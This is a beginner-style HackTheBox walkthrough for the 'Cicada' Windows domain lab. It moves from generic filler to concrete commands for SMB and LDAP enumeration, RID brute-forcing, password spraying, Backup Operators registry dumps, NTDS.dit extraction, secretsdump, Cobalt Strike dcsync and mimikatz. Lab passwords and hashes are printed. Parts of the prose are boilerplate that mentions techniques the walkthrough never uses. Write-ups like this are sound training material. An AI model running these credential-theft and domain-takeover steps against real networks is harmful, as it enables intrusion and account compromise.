Key Highlights
- Explore the allure of HackTheBox and the unique challenges it offers for cybersecurity enthusiasts.
- Discover the intricacies of the Cicada challenge, focusing on reverse engineering, cryptography, and forensics.
- Learn about essential tools and resources required for successfully navigating hacking challenges, including Linux, Python, and various tools.
- Understand the significance of setting up a virtual lab environment to practice and enhance hacking skills effectively.
- Gain insights into the beginner’s guide on how to approach and conquer the Cicada challenge step-by-step.
Introduction
HackTheBox offers a glimpse into the thrilling world of cybersecurity challenges. Cicada, a prominent challenge on the platform, entices beginners with its intricacies and real-world scenarios. Aspiring hackers are drawn to the opportunity to test their skills and learn the art of hacking in a safe environment. Understanding the nuances of this challenge is crucial for those looking to delve into the realms of reverse engineering, web application security, and more. Let’s embark on this journey of exploration and mastery.
Understanding HackTheBox and Cicada Challenge
HackTheBox offers an exciting platform for cybersecurity enthusiasts to test their skills through challenges like Cicada. The unique Cicada challenge provides an engaging experience that involves elements of reverse engineering, web application vulnerabilities, and more. Participants can enhance their cybersecurity knowledge by solving puzzles related to hidden data, cryptography, and network breaches. Dive into this world of cyber challenges to sharpen your skills and stay ahead in the rapidly evolving field of cybersecurity.
The allure of HackTheBox for cybersecurity enthusiasts
HackTheBox beckons cybersecurity enthusiasts with its immersive challenges that mimic real-world scenarios. Participants can delve into the depths of cybersecurity through reverse engineering, web application testing, and uncovering hidden data. The platform provides a hands-on experience, offering a taste of the high-stakes environment faced by professionals in the field. Engaging with HackTheBox not only hones technical skills but also fosters a community where like-minded individuals can collaborate and showcase their expertise.
What makes the Cicada challenge unique?
Delving into the Cicada challenge uncovers its uniqueness through intricate puzzles, real-world simulation, and cryptography elements. Unlike other challenges, Cicada tests a wide array of skills, making it a favorite among cybersecurity enthusiasts.
ALSO READ: Mastering Trickster: Beginner’s Guide from HackTheBox
Preparing for the Cicada Challenge
To excel at the Cicada challenge, equip yourself with tools like Python for scripting and Linux for command line exploits. Set up a virtual lab to simulate a real-world environment and practice reverse engineering. Understand common vulnerabilities like Server-Side Template Injection (SSTI) and Server-Side Request Forgery (SSRF). Delve into cryptography basics and hone your forensics skills. Familiarize yourself with web application security concepts to tackle the challenge successfully.
Essential tools and resources for hacking challenges
When approaching hacking challenges like Cicada on platforms such as HackTheBox, having the right tools is crucial. Tools like Python for scripting, Linux for its command-line flexibility, and directories for storing data are essential. Additionally, hash generators, encryption software, and network analysis tools play a vital role in tackling cybersecurity challenges effectively. Familiarity with forensics, cryptography, and password cracking tools can also give you an edge in deciphering hidden data and breaching security measures. Utilizing these resources can enhance your skills in the realm of cybersecurity challenges.
Setting up a virtual lab environment
To fully immerse yourself in the Cicada challenge on HackTheBox, setting up a virtual lab environment is crucial. Utilize tools like VirtualBox or VMware to create a safe space for hands-on practice. This virtual setup will allow you to experiment with different techniques and methodologies without risking damage to actual systems. It’s a vital step in preparing for the challenges that lie ahead, providing a practical and secure way to enhance your cybersecurity skills. Start building your virtual lab today and dive into the world of ethical hacking.
Beginner’s Guide to Tackling the Challenge
Introduction to the challenge and its objectives encompass understanding HackTheBox and Cicada. To embark on this cybersecurity journey, familiarize yourself with tools like Python and Linux. The first step involves thorough reconnaissance and footprinting; then, identify vulnerabilities for potential entry points. Subsequently, exploit and gain access while maintaining stealth. Conclude by submitting your findings, showcasing your cybersecurity prowess in conquering Cicada on HackTheBox.
Introduction to the challenge and its objectives
Embark on an enthralling journey into the world of cybersecurity challenges with Cicada. In this challenge, your prowess will be tested as you navigate through intricate layers of security measures. Uncover hidden data, breach defenses, and employ reverse engineering to conquer the task at hand. The objective is clear – sharpen your skills, unravel complexities, and emerge victorious in this exhilarating encounter with cutting-edge cyber challenges. Gear up for a riveting experience that will push your limits and expand your cyber expertise.
What you will need to get started
To embark on the Cicada challenge, ensure you have a basic understanding of cybersecurity concepts. Familiarity with reverse engineering, web application security, and identifying hidden data is beneficial. Additionally, having experience with CTF challenges and tools like Python, Linux, and hash cracking will be advantageous. A solid grasp of password security, server configurations, and common vulnerabilities like SSTI and SSRF will also be beneficial. Lastly, a curious mindset, determination to learn, and patience are key attributes to succeed in this endeavor.
Step-by-step guide/process
To conquer the Cicada challenge, follow a structured approach. Begin with reconnaissance and footprinting, followed by identifying vulnerabilities and entry points. Exploit these to gain access, then focus on maintaining access and covering tracks discreetly. Finally, complete the challenge and submit your findings. This methodical process ensures a systematic and successful penetration testing experience on HackTheBox. Stay diligent and methodical in each step to maximize your success.
Step 1: Reconnaissance and initial footprinting
To begin conquering the Cicada challenge on HackTheBox, you must first focus on reconnaissance and initial footprinting. This crucial step involves gathering as much information as possible regarding the target. By utilizing tools like Nmap, Shodan, or even simple Google searches, you can uncover valuable details about the target’s network, services, and potential vulnerabilities. This initial phase sets the foundation for a successful hack by providing insights into the target’s infrastructure and possible weak points. Stay tuned for the next steps in this thrilling cybersecurity journey.
NMAP SCAN


From the above, we can see that SMB share is enabled. When solving a CTF box, one of the common services to encounter is SMB (Server Message Block), which can reveal valuable information when properly explored. To connect to an SMB share, we often rely on tools like smbclient. This utility allows us to interact with SMB/CIFS resources on servers, acting much like an FTP client for SMB shares. To begin the process, you would use a command like smbclient -L //target-ip -U username to list the available shares.
SMBCLIENT

Upon further exploration of the HR directory within the CTF box, I stumbled upon a seemingly innocuous text file. Intrigued by its potential relevance, I opened the file to examine its contents more closely. To my surprise, it contained crucial information, including a password.


The entire content of the text file is given below:
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: C**********************8
To change your password:
1. Log in to your Cicada Corp account using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Step 2: Identifying vulnerabilities and potential entry points
Enumerate potential weaknesses and entry points by conducting thorough scans and analysis. Utilize tools like Nmap, Nessus, and OpenVAS to pinpoint vulnerabilities in the target system. Implement manual inspection to identify web application flaws or misconfigurations. Consider reverse engineering to uncover hidden data or URLs within the application. Scrutinize networks for any server misconfigurations, default credentials, or critical missteps. Staying informed with cybersecurity news and techniques can enhance your ability to detect known vulnerabilities.
SMB Enumeration:
netexec smb CICADA-DC -u guest -p '' --shares
smbclient -N //10.10.11.35/HR
- HR Share:
Notice from HR.txtcontaining default password:Cicada$M6Corpb*@Lp#nZp!8
RID Brute-Force:
netexec smb CICADA-DC -u guest -p '' --rid-brute 4000
Identified users:
john.smoulder, sarah.dantelia, michael.wrightson,
david.orelious, emily.oscars
Password Spraying:
netexec smb CICADA-DC -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
Valid credentials: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP Enumeration:
netexec ldap CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
Key discovery:
david.oreliousdescription field contains password:aRt$Lp#7t*VQ!3
DEV Share Access:
smbclient -U david.orelious //CICADA-DC/DEV
Backup_script.ps1reveals credentials:powershell$username = "emily.oscars" $password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
Step 3: Exploitation and gaining access
Exploitation involves leveraging identified vulnerabilities to gain access. This phase requires a deep understanding of the system and potential entry points. By utilizing tools such as Python scripts or reverse engineering, hackers can exploit weaknesses to infiltrate the target server. Techniques like SSRF or SSTI may be employed to access hidden data or execute malicious code. This pivotal step demands precision and creativity to bypass security mechanisms and ultimately achieve access, a crucial stage in the Cicada challenge.
User Context Analysis:
net user emily.oscars
whoami /priv
Backup Operators Exploitation:
reg save hklm\sam sam
reg save hklm\system system
reg save hklm\security security
Secretsdump Analysis:
secretsdump.py -sam sam -system system -security security LOCAL
Key hashes extracted:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341
krbtgt:502:aad3b435b51404ee:aad3b435b51404ee:3779000802a4bb402736bee52963f8ef
NTDS.dit Extraction:
- Create diskshadow script:text
set context persistent add volume c: alias cdrive create expose %cdrive% E: - Execute shadow copy:powershell
diskshadow /s script.txt robocopy /b E:\Windows\NTDS . ntds.dit - Full domain hash extraction:bash
secretsdump.py -ntds ntds.dit -system system LOCAL
Step 4: Maintaining access and covering tracks
Delete all traces of intrusion activity by erasing logs, removing backdoors, and covering tracks meticulously. Employ cryptographic techniques to hide any communication and utilize stealthy methods to maintain access securely. Implement strategies to evade detection, ensuring sustainable access to the system without alerting administrators. Understanding the significance of covering tracks to prevent forensic analysis and potential breaches is crucial in the final stages of the Cicada challenge.
Cobalt Strike Beacon:
powershell-import Backup_script.ps1
make_token cicada.htb\emily.oscars Q!3@Lp#M6b*7t*Vt
dcsync cicada.htb -just-dc-user krbtgt
Mimikatz Execution:
mimikatz # lsadump::lsa /patch /name:krbtgt
mimikatz # lsadump::dcsync /domain:cicada.htb /user:Administrator
Step 5: Completing the challenge and submitting findings
To finalize the Cicada challenge on HackTheBox, document the steps you took, detailing vulnerabilities exploited. Include any tools used and solutions implemented. Upon completion, compile a comprehensive report with clear evidence of your findings. Ensure all steps are well-documented for submission. This not only showcases your skills but also helps enhance your cybersecurity portfolio. Embrace this opportunity to demonstrate your expertise in tackling complex challenges effectively. Submit your findings promptly to HackTheBox for review and assessment.
ALSO READ: Mastering Caption: Beginner’s Guide from HackTheBox
Conclusion
In conclusion, mastering the Cicada challenge on HackTheBox is a significant milestone for any cybersecurity enthusiast. By delving into the intricacies of reverse engineering, web application vulnerabilities, and hidden data extraction, beginners can enhance their skills while exploring the world of cyber challenges. Remember, persistence and continuous learning are key in the ever-evolving landscape of cybersecurity. So, take the knowledge gained from this challenge and apply it to future endeavors in the realm of ethical hacking and cybersecurity.
Frequently Asked Questions
How do I reset my progress if I make a mistake?
In case of a mistake, reset progress by reverting changes in the virtual lab environment or starting fresh. Learning from errors is key to mastering challenges effectively.
Can I collaborate with others on the Cicada challenge?
Collaborating with others on the Cicada challenge is not allowed in HackTheBox to maintain the integrity of the competition. Participants are expected to independently work on solving the challenges to showcase their individual skills and expertise.








